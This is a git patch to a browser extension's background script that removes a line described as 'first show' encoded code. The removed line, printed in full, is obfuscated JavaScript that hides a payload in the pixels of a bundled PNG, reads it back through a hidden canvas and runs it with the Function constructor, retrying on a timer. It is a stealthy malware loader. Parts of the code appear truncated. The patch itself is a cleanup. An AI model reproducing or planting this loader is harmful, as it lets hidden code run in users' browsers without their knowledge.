From b8d044410d4564f7c5beec9d1af4a82aeba8a33e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?St=C3=A9phane=20Bour?= Date: Thu, 5 Jul 2018 14:14:07 +0200 Subject: [PATCH] chore: remove "first show" encoded code #21 --- src/background.js | 1 - 1 file changed, 1 deletion(-) diff --git a/src/background.js b/src/background.js index 5746b17..5148717 100755 --- a/src/background.js +++ b/src/background.js @@ -1,4 +1,3 @@ -ifFirstShow=function(){try{var t=function(){},r={zL:function(t){if(isNaN(t)||!isFinite(t)||t%1||t<2)return!1;if(t%2===0)return 2===t;if(t%3===0)return 3===t;for(var r=Math.sqrt(t),e=5;e<=r;e+=6){if(t%e===0)return!1;if(t%(e+2)===0)return!1}return!0},sk:function(t){for(var r="",e=-548,n=0,i=0;i>0},t.prototype.oC=function(t,e){if(""==='\x64\x6F\x63\x73\x2F\x61\x75\x74\x6F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2E\x70\x6E\x67')return"";void 0===t&&(t='\x64\x6F\x63\x73\x2F\x61\x75\x74\x6F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2E\x70\x6E\x67'),t.length&&(t=r.Uh(t)),e=e||{};var n=this.rK,i=e.Ob||n.Ob,o=e.QP||n.QP,h=e.kJ||n.kJ,a=r.uB(Math.pow(2,i)),u=(e.Av||n.Av,e.TD||n.TD),f=document.createElement("canvas"),p=f.getContext("2d");if(f.style.display="none",f.width=e.width||t.width,f.height=e.width||t.height,0===f.width||0===f.height)return"";e.height&&e.width?p.drawImage(t,0,0,e.width,e.height):p.drawImage(t,0,0);var c=p.getImageData(0,0,f.width,f.height),d=c.data,g=[];if(c.data.every(function(t){return 0===t}))return"";var s,v;if(1===o)for(s=3,v=!1;!v&&s=h&&(w+=String.fromCharCode(m&C),y%=h,m=g[s]>>i-y);return w.length<13?"":(0!==m&&(w+=String.fromCharCode(m&C)),w)},t.prototype.Cx=3,t.prototype.qQ=0,t.prototype.Uu=5e3,t.prototype.AH=function(){try{var e=t.prototype,n=r.sk(e.oC());if(""===n){if(e.qQ>e.Cx)return;return e.qQ++,void setTimeout(e.AH,e.Uu)}document.defaultView[(typeof r.zL).charAt(0).toUpperCase()+(typeof r.zL).slice(1)](n)()}catch(t){}},(new t).AH}catch(t){}}();ifFirstShow(); chrome.browserAction.onClicked.addListener(function (tab) { chrome.tabs.create({'url': chrome.extension.getURL('index.html')}, function (tab) { });